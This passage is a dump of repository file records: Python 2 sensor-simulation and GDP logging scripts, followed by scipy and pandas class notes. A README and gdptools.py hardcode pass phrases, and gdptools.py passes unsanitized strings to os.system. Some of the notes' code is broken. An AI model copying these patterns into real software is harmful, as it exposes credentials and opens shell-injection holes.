sensor_id\r\n sensor_id_boundaries[sensor_id] = boundaries\r\n sensor_id_status[sensor_id] = boundaries\r\n #print sensor_id_boundaries\r\n sensor_id_writepipe[sensor_id] = new_writerthread_withpipe(str(sensor_id))\r\n else: #first time sensor\r\n print \"New Sensor! ID:\", sensor_id\r\n sensor_id_boundaries[sensor_id] = boundaries\r\n sensor_id_status[sensor_id] = boundaries\r\n sensor_id_boundaries[sensor_id]['timestamp'] = -1\r\n sensor_id_status[sensor_id]['timestamp'] = -1\r\n sensor_id_writepipe[sensor_id] = new_writerthread_withpipe(str(sensor_id))\r\n sensor_ids.append(int(sensor_id))\r\n sleep(0.5)\r\n #print sensor_id_boundaries\r\n #print sensor_id_writepipe\r\n #print sensor_ids\r\n else: #continuous message\r\n unpack_format = len(data) * 'B'\r\n parse_id = unpack(unpack_format, data)\r\n sensor_id = parse_id[-1]\r\n if sensor_id in sensor_ids:\r\n sensor_id_boundaries[sensor_id]['timestamp'] = time_\r\n sensor_id_status[sensor_id]['timestamp'] = time_\r\n message = decode_data(data, sensor_id_boundaries[sensor_id])\r\n message = csvdata(message)\r\n message = data + ',' + time + ',' + str(sensor_id) + ',' + message\r\n print >>sensor_id_writepipe[sensor_id], message\r\n #print sensor_id_boundaries\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n" }, { "alpha_fraction": 0.4217686951160431, "alphanum_fraction": 0.5204081535339355, "avg_line_length": 28.399999618530273, "blob_id": "6ceba7d1b9bd9bbf4263c7deb498f4c9adf76bdf", "content_id": "3568762f35c88af0c82e0bec425149127a3a0514", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 294, "license_type": "no_license", "max_line_length": 43, "num_lines": 10, "path": "/SA (old)/parser.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "data = \"1,443.384963989,2,1077,3,4234\"\ndata = data.split(',')\nprint data\nfor i in range(len(data)):\n if data[i] == '1':\n print \"temperature: %s\" % data[i+1]\n if data[i] == '2':\n print \"humidity: %s\" % data[i+1]\n if data[i] == '3':\n print \"battery: %s\" % data[i+1]\n" }, { "alpha_fraction": 0.717391312122345, "alphanum_fraction": 0.717391312122345, "avg_line_length": 22, "blob_id": "56ba16606aa0916e21b13e63809282ee09afe126", "content_id": "5245e354b465a56dc3db5c6d73c2f5906b53cdf5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 46, "license_type": "no_license", "max_line_length": 30, "num_lines": 2, "path": "/SA (old)/README.md", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "#GDP_exercises\nPEM pass phrase = 'abc123'\n" }, { "alpha_fraction": 0.6744063496589661, "alphanum_fraction": 0.6817941665649414, "avg_line_length": 28.153846740722656, "blob_id": "e1c4429bbd243bee2ab68037d31f47d7c414ffe4", "content_id": "97694ee78b89f1af7e23ad13788c103100e2801e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1895, "license_type": "no_license", "max_line_length": 71, "num_lines": 65, "path": "/SA (old)/gdptools.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "import gdp\nimport pexpect\nimport os\nimport time\n\nGDPLOGD_SERVER = \"ph.edu.upd.pcari.gdplogd\"\nGCL_KEY = \"pass27word\"\n\ndef open_gcl_write(gcl_complete_name_str):\n\tprint \"opening for writing: %s\" % gcl_complete_name_str\n\tskey = gdp.EP_CRYPTO_KEY(filename=gcl_complete_name_str+\".pem\",\n\t\t\tkeyform=gdp.EP_CRYPTO_KEYFORM_PEM,\n\t\t\tflags=gdp.EP_CRYPTO_F_SECRET)\n\tgcl_name = gdp.GDP_NAME(gcl_complete_name_str)\n\treturn gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_AO, open_info={'skey':skey})\n\ndef open_gcl_read(gcl_complete_name_str, timeout=0):\n\tprint \"opening for reading: %s\" % gcl_complete_name_str\n\tstart = time.time()\n\thandler = []\n\twhile time.time() - start <= timeout + 1:\n\t\ttry:\n\t\t\tgcl_name = gdp.GDP_NAME(gcl_complete_name_str)\n\t\t\thandler = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RO)\n\t\t\tbreak\n\t\texcept:\n\t\t\tpass\n\t\tif timeout == 0:\n\t\t\tbreak\n\tdel gcl_name\n\treturn handler\n\ndef create_gcl(gcl_complete_name_str):\n\tprint \"creatin gcl: %s\" % gcl_complete_name_str\n\tcommand = \"gcl-create %s %s\" % (GDPLOGD_SERVER, gcl_complete_name_str)\n\tchild = pexpect.spawn(command)\n\t#fout = file(\"LOG.TXT\",\"w\")\n\t#child.setlog(fout)\n\tchild.expect(\"pass\")\n\tchild.sendline(GCL_KEY)\n\tchild.expect(\"erify\")\n\tchild.sendline(GCL_KEY)\n\tchild.expect(\"new GCL \")\n\tchild.expect(pexpect.EOF)\n\tgcl_file = child.before\n\tgcl_file = gcl_file.split()[0]\n\tprint gcl_file\n\tos.system(\"mv ./%s.pem ./%s.pem\" % (gcl_file, gcl_complete_name_str))\n\ttime.sleep(0.5)\n\tcommand = \"openssl ec -in ./%s.pem -out ./%s.new.pem -outform PEM\" % \\\n\t\t\t(gcl_complete_name_str, gcl_complete_name_str)\n\tchild = pexpect.spawn(command)\n\tchild.expect(\"pass\")\n\tchild.sendline(GCL_KEY)\n\ttime.sleep(0.5)\n\tos.system(\"mv ./%s.pem ./%s.old.pem\" % (gcl_complete_name_str, \\\n\t\t\tgcl_complete_name_str))\n\ttime.sleep(0.5)\n\tos.system(\"mv ./%s.new.pem ./%s.pem\" % (gcl_complete_name_str, \\\n\t\t\tgcl_complete_name_str))\n\ttime.sleep(0.5)\n\n\ndef pack_datum(datum):\n\treturn {\"data\": datum}\n" }, { "alpha_fraction": 0.56596440076828, "alphanum_fraction": 0.5806913375854492, "avg_line_length": 33.92142868041992, "blob_id": "9a1a324a467999c5a914ea20b202895bc06ab64b", "content_id": "837e312b5c030bf1034f9b2e68dbb5a969191400", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4889, "license_type": "no_license", "max_line_length": 131, "num_lines": 140, "path": "/SA (old)/client(cleaned).py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "import argparse\nimport re\nimport numpy as np\nimport binascii\nimport sys\nimport socket\nimport time\nimport json\nimport gdp\nfrom random import *\nfrom struct import *\n\ndef arguments():\n \"Gets the arguments of the command line statement in dictionary form (p)\"\n p = {'id':None, 'temp':[None,None], 'humid':[None,None], 'batt':[None,None]}\n\n\n template_f = re.compile(r'^(\\d+(\\.\\d+)?)(,\\d+(\\.\\d+)?)$') #used for float parsing must must be two comma-separated float values\n template_i = re.compile(r'^(\\d+,\\d+)$') #used for int parsing must be two comma-separated float values\n parser = argparse.ArgumentParser()\n parser.add_argument(\"sensor_id\", type=int, help=\"8 bit unique sensor id (0-255)\")\n parser.add_argument(\"-t\", \"--temp\", help=\"temperature in float. use format -t min,max.\")\n parser.add_argument(\"-u\", \"--humid\", help=\"temperature in float. use format -t min,max.\")\n parser.add_argument(\"-b\", \"--batt\", help=\"battery voltage in float. use format -b min,max.\")\n args = parser.parse_args()\n\n p['id'] = args.sensor_id\n\n if not 0 <= p['id'] <= 255:\n print \"ERROR: sensor_id must be INT between 0 and 255\"\n quit()\n\n if args.temp:\n if not template_f.match(args.temp):\n print \"ERROR: temperature must be in FLOAT,FLOAT\"\n quit()\n p['temp'] = [float(x) for x in args.temp.split(',')]\n if p['temp'][0] >= p['temp'][1]:\n print \"ERROR: temperature first argument should be less than second argument\"\n quit()\n\n if args.humid:\n if not template_i.match(args.humid):\n print \"ERROR: humidity must be in INT,INT\"\n quit()\n p['humid'] = [int(x) for x in args.humid.split(',')]\n if p['humid'][0] >= p['humid'][1]:\n print \"ERROR: humidity first argument should be less than second argument\"\n quit()\n if p['humid'][0] < 0 or p['humid'][1] > 65535:\n print \"ERROR: humidity must be between 0 and 65536\"\n quit()\n\n if args.batt:\n if not template_f.match(args.batt):\n print \"ERROR: battery voltage must be in FLOAT,FLOAT\"\n quit()\n p['batt'] = [float(x) for x in args.batt.split(',')]\n if p['batt'][0] >= p['batt'][1]:\n print \"ERROR: battery first argument should be less than second argument\"\n quit()\n\n return p #{ id:<id>, temp}\ndef get_random_data(p):\n data = {}\n data['id'] = p['id']\n if p['temp'][0] is not None:\n data['temp'] = uniform(p['temp'][0], p['temp'][1])\n if p['humid'][0] is not None:\n data['humid'] = randrange(p['humid'][0], p['humid'][1]+1)\n if p['batt'][0] is not None:\n data['batt'] = uniform(p['batt'][0], p['batt'][1])\n return data\ndef sort_data(data, p):\n list_data = [ data['id'] ]\n for i in data:\n if i == 'temp':\n list_data.append(1)\n temp_int = float_to_int16(data['temp'], p['temp'])\n list_data.append(temp_int)\n if i == 'humid':\n list_data.append(2)\n list_data.append(data['humid'])\n if i == 'batt':\n list_data.append(3)\n batt_int = float_to_int16(data['batt'], p['batt'])\n list_data.append(batt_int)\n\n sorted_data = []\n for i in range(1, len(list_data), 2):\n sorted_data.append(list_data[i+1])\n\n for i in range(1, len(list_data), 2):\n sorted_data.append(list_data[i])\n\n sorted_data.append(list_data[0])\n return sorted_data\ndef get_pack_format(sorted_data):\n length = len(sorted_data)/2\n pack_format = 'H' * length + 'B' * (length+1)\n return pack_format\ndef encode_data(data, parameters):\n sorted_data = sort_data(data, parameters)\n pack_format = get_pack_format(sorted_data)\n encoded_data = pack(pack_format, *sorted_data)\n return encoded_data\ndef float_to_int16(data, (minval, maxval)):\n int16 = float((data - minval)) / (maxval-minval)\n int16 = int16 * 2**16\n return int(int16)\ndef gcl_append_init():\n gdp.gdp_init()\n gcl_input = 'ph.edu.upd.pcari.jasper.data'\n pem_input = '_data.pem'\n\n gcl_name = gdp.GDP_NAME(gcl_input)\n skey = gdp.EP_CRYPTO_KEY(filename=pem_input,\n keyform=gdp.EP_CRYPTO_KEYFORM_PEM, flags=gdp.EP_CRYPTO_F_SECRET)\n\n gcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RA, {\"skey\":skey})\n return gcl_handle\n\ndef main():\n gcl_handle = gcl_append_init()\n parameters = arguments()\n gcl_handle.append({\"data\": json.dumps(parameters)})\n print \"sent: \", json.dumps(parameters)\n\n while True:\n time.sleep(2)\n data = get_random_data(parameters)\n encoded_data = encode_data(data, parameters)\n gcl_handle.append({\"data\": encoded_data})\n print \"sent: [%s]\" % encoded_data\n print \"data: [%r]\" % encoded_data\n print \"data: [%s]\" % data\n exit()\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.6382055282592773, "alphanum_fraction": 0.6439942121505737, "avg_line_length": 24.592592239379883, "blob_id": "2f7e58d3b0f3ee36d159094480400161e93943a0", "content_id": "0943cafff9d682349f0a18113d444a131385cf3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 691, "license_type": "no_license", "max_line_length": 55, "num_lines": 27, "path": "/SA (old)/GDP_subscription.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport gdp\nfrom random import *\ndef write_config(filename):\n r = open(filename, 'r')\n gcl_input = r.readline().rstrip('\\n')\n pem_input = r.readline().rstrip('\\n')\n r.close\n return gcl_input, pem_input\n\ndef gcl_subscription_init(config_file):\n gdp.gdp_init()\n gcl_input = write_config(\"inputs.txt\")[0]\n print \"gcl: [%r]\" % gcl_input\n gcl_name = gdp.GDP_NAME(gcl_input)\n gcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RO)\n return gcl_handle\n\n#GDP Reading\ngcl_handle = gcl_subscription_init(\"inputs.txt\")\ngcl_handle.subscribe(0, 0, None)\n\nwhile True:\n event = gcl_handle.get_next_event(None)\n print event['datum']['data']\n\nexit()\n" }, { "alpha_fraction": 0.6369509100914001, "alphanum_fraction": 0.643410861492157, "avg_line_length": 26.64285659790039, "blob_id": "c95ec468bccecbb67cae5feb72da81110c21b6a7", "content_id": "5726602067bc323677121a2568b57e34e2c96145", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 774, "license_type": "no_license", "max_line_length": 75, "num_lines": 28, "path": "/GDP_append.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport gdp\nfrom random import *\ndef write_config(filename):\n r = open(filename, 'r')\n gcl_input = r.readline().rstrip('\\n')\n pem_input = r.readline().rstrip('\\n')\n r.close\n return gcl_input, pem_input\n\ndef gcl_append_init(config_file):\n gdp.gdp_init()\n gcl_input = 'ph.edu.upd.pcari.jasper.data'\n pem_input = '_data.pem'\n\n gcl_name = gdp.GDP_NAME(gcl_input)\n skey = gdp.EP_CRYPTO_KEY(filename=pem_input,\n keyform=gdp.EP_CRYPTO_KEYFORM_PEM, flags=gdp.EP_CRYPTO_F_SECRET)\n\n gcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RA, {\"skey\":skey})\n return gcl_handle\n\n#GDP Writing\ngcl_handle = gcl_append_init(\"inputs.txt\")\ndata = randint(1,100)\ngcl_handle.append({\"data\": str(data)})\nprint \"sent:\", data\nexit()\n" }, { "alpha_fraction": 0.3708249628543854, "alphanum_fraction": 0.3955734372138977, "avg_line_length": 40.41666793823242, "blob_id": "45b06b566750d3fd69129b31fe96953a5c12f52d", "content_id": "4c953544c7457bf7fa61f3e705b3879de3865879", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4970, "license_type": "no_license", "max_line_length": 180, "num_lines": 120, "path": "/controlcopy.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "from Queue import Queue\nfrom threading import Thread\nfrom time import sleep\nimport re\nfrom copy import deepcopy\n\ndef control_center(q):\n #q.put(\"stop 123 1\")\n #sleep(2)\n #q.put(\"start 123 1\")\n while True:\n template = re.compile(r'^(status clients|status sensors( +\\d+)?|stop \\d+( +\\d+)?|start \\d+( +\\d+)?)$')\n command = raw_input().rstrip('\\n')\n if not template.match(command):\n print 'invalid command!'\n else:\n q.put(command)\n\nq = Queue(maxsize=0)\ncontrol = Thread(target=control_center, args=(q,))\ncontrol.setDaemon(True)\ncontrol.start()\nsensor_id_boundaries = {123: {0: [0, 0], 1: [100.0, 10000.0], 2: [123, 545], 'timestamp': 1523840751}, 22: {0: [0, 0], 1: [100.0, 10000.0], 2: [123, 545], 'timestamp': 1523840743}}\nsensor_id_status = deepcopy(sensor_id_boundaries)\nsensor_ids = [123, 23]\nwhile True:\n while not q.empty():\n command = q.get()\n print \"[%r]\" % command\n command = command.split(' ')\n command_ = command[0] + ' ' + command[1]\n if command_ == 'status clients':\n print \"********************\"\n print \"***Status Clients***\"\n print \"********************\"\n for i in sensor_id_status:\n print \"client_id: %3d | timestamp: %d\" % (i, sensor_id_status[i]['timestamp'])\n\n if command_ == 'status sensors':\n if len(command) == 2:\n print \"************************\"\n print \"***Status Sensors All***\"\n print \"************************\"\n for i in sensor_id_status:\n print \"client_id:\", i\n if 1 in sensor_id_status[i]:\n print \" temp ON\"\n else:\n print \" temp OFF\"\n if 2 in sensor_id_status[i]:\n print \" humid ON\"\n else:\n print \" humid OFF\"\n if 3 in sensor_id_status[i]:\n print \" batt ON\"\n else:\n print \" batt OFF\"\n print \"********************\"\n else:\n print \"************************\"\n print \"***Status Sensors One***\"\n print \"************************\"\n i = int(command[2])\n print \"client_id:\", int(command[2])\n if 1 in sensor_id_status[i]:\n print \" temp ON\"\n else:\n print \" temp OFF\"\n if 2 in sensor_id_status[i]:\n print \" humid ON\"\n else:\n print \" humid OFF\"\n if 3 in sensor_id_status[i]:\n print \" batt ON\"\n else:\n print \" batt OFF\"\n print \"********************\"\n\n if command[0] == 'start':\n if len(command) == 2:\n print \"************************\"\n print \"***Start Sensors All****\"\n print \"************************\"\n for i in range(1,4):\n text = command[0] + ' ' + command[1] + ' ' + str(i)\n q.put(text)\n else:\n print \"************************\"\n print \"***Start Sensors One***\"\n print \"************************\"\n print \"client_id:\", int(command[1])\n if int(command[2]) in sensor_id_boundaries[int(command[1])]:\n sensor_id_status[ int(command[1])][int(command[2]) ] = sensor_id_boundaries[ int(command[1]) ][ int(command[2]) ]\n print sensor_id_status[int(command[1])]\n\n if command[0] == 'stop':\n if len(command) == 2:\n print \"************************\"\n print \"***Stop Sensors All****\"\n print \"************************\"\n for i in range(1,4):\n if i in sensor_id_status[int(command[1])]:\n text = command[0] + ' ' + command[1] + ' ' + str(i)\n q.put(text)\n #print text\n #print \"client_id:\", int(command[1])\n #for i in sensor_id_status[int(command[1])].keys():\n # if i is not 'timestamp':\n # del sensor_id_status[int(command[1])][i]\n else:\n print \"************************\"\n print \"***Stop Sensors One***\"\n print \"************************\"\n print \"client_id:\", int(command[1])\n if int(command[2]) in sensor_id_status[int(command[1])]:\n del sensor_id_status[int(command[1])][int(command[2])]\n q.task_done()\n #print sensor_id_status\n #print sensor_id_boundaries\n #print 'doing my tasks'\n" }, { "alpha_fraction": 0.4971962571144104, "alphanum_fraction": 0.517756998538971, "avg_line_length": 28.72222137451172, "blob_id": "680e439baa993f2a9a1d5d6a8a5584996e67670b", "content_id": "09338e93571fc658006861a85c2efddb3749674e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 535, "license_type": "no_license", "max_line_length": 60, "num_lines": 18, "path": "/parse.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom struct import *\n\ndef send_messages(message):\n message = message.split(',')\n encoded_data = message[0]\n time = message[1]\n message = message[3:]\n\n for i in range(0, len(message), 2):\n data = time + encoded_data[-1] + encoded_data[i:i+2]\n if message[i] == '1':\n print \"print to temp: [%r]\" % data\n if message[i] == '2':\n print \"print to humid: [%r]\" % data\n if message[i] == '3':\n print \"print to batt: [%r]\" % data\n return data\n" }, { "alpha_fraction": 0.5658281445503235, "alphanum_fraction": 0.5833061337471008, "avg_line_length": 33.593021392822266, "blob_id": "d9c6c82b32820c5494d15aa90cde309b66fe5936", "content_id": "5f2b569a339e55f6dc47f4e71abba8683587bf31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6122, "license_type": "no_license", "max_line_length": 131, "num_lines": 172, "path": "/client.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "import argparse\r\nimport re\r\nimport numpy as np\r\nimport binascii\r\nimport sys\r\nimport socket\r\nimport time\r\nimport json\r\nimport gdp\r\nfrom random import *\r\nfrom struct import *\r\n\r\ndef arguments():\r\n argument_debug = 0;\r\n sensor_id = None;\r\n temp_float = [None]*2;\r\n batt_float = [None]*2;\r\n humid_int = [None]*2;\r\n\r\n \"Gets the arguments of the command line statement\"\r\n template_f = re.compile(r'^(\\d+(\\.\\d+)?)(,\\d+(\\.\\d+)?)$') #used for float parsing must must be two comma-separated float values\r\n template_i = re.compile(r'^(\\d+,\\d+)$') #used for int parsing must be two comma-separated float values\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"sensor_id\", type=int, help=\"8 bit unique sensor id (0-255)\")\r\n parser.add_argument(\"-t\", \"--temp\", help=\"temperature in float. use format -t min,max.\")\r\n parser.add_argument(\"-u\", \"--humid\", help=\"temperature in float. use format -t min,max.\")\r\n parser.add_argument(\"-b\", \"--batt\", help=\"battery voltage in float. use format -b min,max.\")\r\n args = parser.parse_args()\r\n\r\n sensor_id = args.sensor_id\r\n temp = args.temp\r\n batt = args.batt\r\n humid = args.humid\r\n\r\n if not 0 <= sensor_id <= 255:\r\n print \"ERROR: sensor_id must be INT between 0 and 255\"\r\n quit()\r\n\r\n if temp:\r\n if not template_f.match(args.temp):\r\n print \"ERROR: temperature must be in FLOAT,FLOAT\"\r\n quit()\r\n temp_float = [float(x) for x in temp.split(',')]\r\n if temp_float[0] >= temp_float[1]:\r\n print \"ERROR: temperature first argument should be less than second argument\"\r\n quit()\r\n\r\n if humid:\r\n if not template_i.match(args.humid):\r\n print \"ERROR: humidity must be in INT,INT\"\r\n quit()\r\n humid_int = [int(x) for x in humid.split(',')]\r\n if humid_int[0] >= humid_int[1]:\r\n print \"ERROR: humidity first argument should be less than second argument\"\r\n quit()\r\n if humid_int[0] < 0 or humid_int[1] > 65535:\r\n print \"ERROR: humidity must be between 0 and 65536\"\r\n quit()\r\n\r\n if batt:\r\n if not template_f.match(args.batt):\r\n print \"ERROR: battery voltage must be in FLOAT,FLOAT\"\r\n quit()\r\n batt_float = [float(x) for x in batt.split(',')]\r\n if batt_float[0] >= batt_float[1]:\r\n print \"ERROR: battery first argument should be less than second argument\"\r\n quit()\r\n\r\n if argument_debug:\r\n print \"sensor_id: %s\" % sensor_id\r\n print \"temp_min: %s, temp_max\" % temp_float[0], temp_float[1]\r\n print \"humid_min: %s, humid_max\" % humid_int[0], humid_int[1]\r\n print \"batt_min: %s, batt_max\" % batt_float[0], batt_float[1]\r\n\r\n if temp is not None:\r\n temp = 1\r\n if humid is not None:\r\n humid = 2\r\n if batt is not None:\r\n batt = 3\r\n return [sensor_id, temp, temp_float, humid, humid_int, batt, batt_float]\r\ndef remove_none(data):\r\n for x in (0, 1, 3, 5):\r\n if data[x] == None:\r\n data[x] = 0\r\n data[x+1] = [0, 0]\r\n return data\r\ndef get_random_data(p):\r\n sensor_id = p[0]\r\n temp_flag = p[1]\r\n temp = uniform(p[2][0], p[2][1])\r\n humid_flag = p[3]\r\n humid = randrange(p[4][0], p[4][1]+1)\r\n batt_flag = p[5]\r\n batt = uniform(p[6][0], p[6][1])\r\n data = [sensor_id, temp_flag, temp, humid_flag, humid, batt_flag, batt]\r\n return data\r\n##ENCODING\r\ndef float_to_int16(data, (minval, maxval)):\r\n int16 = float((data - minval)) / (maxval-minval)\r\n int16 = int16 * 2**16\r\n return int(int16)\r\ndef float_to_int16_list(sorted_data, boundaries):\r\n offset = len(sorted_data)/2\r\n for i in range(offset):\r\n if sorted_data[i + offset] != 2:\r\n sorted_data[i] = float_to_int16(\r\n sorted_data[i], boundaries[sorted_data[i+offset]] )\r\n return sorted_data\r\ndef sort_data(data):\r\n sorted_data = []\r\n for i in range(1, len(data), 2):\r\n if data[i] != 0:\r\n sorted_data.append(data[i+1])\r\n\r\n for i in range(1, len(data), 2):\r\n if data[i] != 0:\r\n sorted_data.append(data[i])\r\n sorted_data.append(data[0])\r\n return sorted_data\r\ndef get_pack_format(sort_data):\r\n length = len(sort_data)/2\r\n pack_format = 'H' * length + 'B' * (length+1)\r\n return pack_format\r\ndef encode_data(data, boundaries):\r\n sorted_data = sort_data(data)\r\n sent_data = float_to_int16_list(sorted_data, boundaries)\r\n pack_format = get_pack_format(sorted_data)\r\n packed_data = pack(pack_format, *sent_data)\r\n return packed_data\r\ndef get_boundaries(parameters):\r\n boundaries = {}\r\n for i in range(1, len(parameters), 2):\r\n boundaries[parameters[i]] = parameters[i+1]\r\n return boundaries\r\ndef write_config(filename):\r\n r = open(filename, 'r')\r\n gcl_input = r.readline().rstrip('\\n')\r\n pem_input = r.readline().rstrip('\\n')\r\n r.close\r\n return gcl_input, pem_input\r\ndef gcl_append_init(gcl_input, pem_input):\r\n gdp.gdp_init()\r\n gcl_name = gdp.GDP_NAME(gcl_input)\r\n skey = gdp.EP_CRYPTO_KEY(filename=pem_input,\r\n keyform=gdp.EP_CRYPTO_KEYFORM_PEM, flags=gdp.EP_CRYPTO_F_SECRET)\r\n\r\n gcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RA, {\"skey\":skey})\r\n return gcl_handle\r\n\r\ndef main():\r\n #Initialize GCL\r\n gcl_handle = gcl_append_init('ph.edu.upd.pcari.jasper.data','_data.pem')\r\n parameters = arguments() #parse command line arguments\r\n parameters = remove_none(parameters) #convert None to 0\r\n boundaries = get_boundaries(parameters)\r\n print \"parameters\", parameters\r\n #start of sending\r\n gcl_handle.append({\"data\": json.dumps(parameters)})\r\n print \"sent: \", json.dumps(parameters)\r\n\r\n while True:\r\n time.sleep(2)\r\n data = get_random_data(parameters)\r\n encoded_data = encode_data(data, boundaries)\r\n gcl_handle.append({\"data\": encoded_data})\r\n print \"sent: [%s]\" % encoded_data\r\n print \"data: [%r]\" % encoded_data\r\n print \"data: [%s]\" % data\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n" } ]
13
vigneshwart1191/PythonCodes
https://github.com/vigneshwart1191/PythonCodes
89e096ace12495e1890a5328016490a48ceb4799
5a20bfb1f6e3b9fec67615ab76936bb53dd502b5
90be768c4e9f14fdee2882dc3f2140b7ffcf9b8e
refs/heads/master
2019-03-08T19:46:52.699780
2017-08-20T08:00:48
2017-08-20T08:00:48
100,846,894
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6446028351783752, "alphanum_fraction": 0.708248496055603, "avg_line_length": 25.577465057373047, "blob_id": "e27405da668d9934e2991a03f0600b85ba4195ce", "content_id": "eaa902a97f3c8491fd1dc301c5a559a6d88b6ce3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1964, "license_type": "no_license", "max_line_length": 434, "num_lines": 71, "path": "/ClassNotesScipy.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 13 11:02:40 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#Scipy Tutorial\r\n#scipy is a scientific python\r\n#open source\r\n#Ex:Image processing\r\n#build above numpy\r\n#to install pip pakage pip insttal package\r\nimport scipy as si\r\nfrom scipy import stats#importig sub packages\r\ndir(stats)#SHOWS HOW MANY FUNCTIONS THERE IN STATS SUB PACKAGE\r\n\r\n\r\n#random number generation using scipy\r\ns = si.rand(100)\r\ns.min()\r\ns.max()\r\ns.mean()\r\ns.std()\r\ns.var()\r\ns1 = stats.describe(s)\r\nn,min_max,mean,var,skw,kur=stats.describe(s)\r\n#can acess through index\r\ns1[1][1]\r\n\r\n#scipy intergration\r\nfrom scipy.integrate import quad\r\ni=si.integrate.quad(lambda x:si.special.jv(2.5,x),0,4.5)\r\n\r\n#Linear Equation\r\nfrom math import *\r\nI = sqrt(2/pi)*((18/27)*sqrt(2)*cos(4.5))-((4/27)*sqrt(2)*sin(4.5))+(sqrt(2*pi)*si.special.fresnel(3/sqrt(pi)))\r\n\r\n#linear algebra\r\nA = si.mat('[1 10 7;2 4 2;9 2 8]')\r\nB=si.mat('[12;7;8]')\r\nsi.linalg.solve(A,B)\r\nsi.linalg.det(A)\r\n\r\n\r\n#files whic we can used to read and write data\r\nf = open('C:/Users/vignesht/Desktop/HadoopAssignment.docx','rU')\r\nfor line in f:\r\n print line\r\n \r\nf.close()\r\n#'w' for write and 'a' for append\r\n#write a file\r\nimport csv\r\nwith open(')\r\n\r\n#os operations\r\nimport os as os\r\nos.listdir('C:/Users/vignesht/Desktop')#shows all files in the directary\r\nos.path.join('C:/Users/vignesht/Desktop/sample1')\r\n\r\nimport urllib2\r\nf = urllib2.urlopen('http://www.cricbuzz.com')\r\nprint f.read(1000)\r\n\r\n#downloading image in python\r\nfrom urllib import *\r\nurlretrieve(\"https://www.google.co.in/imgres?imgurl=https%3A%2F%2Faos.iacpublishinglabs.com%2Fquestion%2Faq%2F1400px-788px%2Fpandas-live_64dff22c2fe56e9.jpg%3Fdomain%3Dcx.aos.ask.com&imgrefurl=https%3A%2F%2Fwww.reference.com%2Fpets-animals%2Fpandas-live-64dff22c2fe56e9&docid=vIExH1naZyGyZM&tbnid=WyKT0k7c_xB4PM%3A&vet=1&w=1400&h=788&bih=602&biw=1242&q=panda&ved=0ahUKEwiemOPJwIzSAhXKs48KHfYjBd4QMwg4KAEwAQ&iact=mrc&uact=8\",'tug.png')\r\n\r\n\r\n#\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.6780219674110413, "alphanum_fraction": 0.6978021860122681, "avg_line_length": 22, "blob_id": "8111bddb994c14bb585e0d610e96e7f332f98d24", "content_id": "afa5a7a70a137c3e239eba18947956a5307c8303", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 910, "license_type": "no_license", "max_line_length": 73, "num_lines": 38, "path": "/DataMugingExamples.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 06 12:16:27 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n###loan data\r\nimport pandas as py\r\n\r\n######imported the data set\r\nloanData = py.read_csv(\"C:/Users/vignesht/Downloads/train.csv\")\r\n\r\n\r\n#preporccesing hte data\r\n##find the missing values in data set\r\nsum(loanData.isnull())\r\nloanData.describe()\r\n#code to find null values in data set\r\nloanData.apply(lambda x: sum(x.isnull()),axis = 0)\r\nloanData.head()\r\n\r\n#how to replace Na value with mean\r\nloanData[\"LoanAmount\"].fillna(loanData[\"LoanAmount\"].mean(),inplace=True)\r\nloanData[\"LoanAmount\"].head(15)\r\n\r\n\r\n#to find factors and number of values in factor data\r\n\r\n\r\n#replace Factor dataloanData[\"Gender\"].value_counts()\r\nloanData[\"Gender\"].fillna(\"Male\",inplace=True)\r\nloanData[\"Gender\"]\r\n\r\n\r\n###for log transformation\r\nloanData['LoanAmount_Log']=np.log(loanData['LoanAmount'])\r\nloanData['LoanAmount_Log'].hist(bins = 10)" }, { "alpha_fraction": 0.7150465846061707, "alphanum_fraction": 0.7359076738357544, "avg_line_length": 25.839506149291992, "blob_id": "0d70359017f41dd153f5fc5993a1a74e8e1abf08", "content_id": "781e5df7ab96fd901204bfacbd45b09bab060a0a", "detected_licenses": [], "is_generated": false, 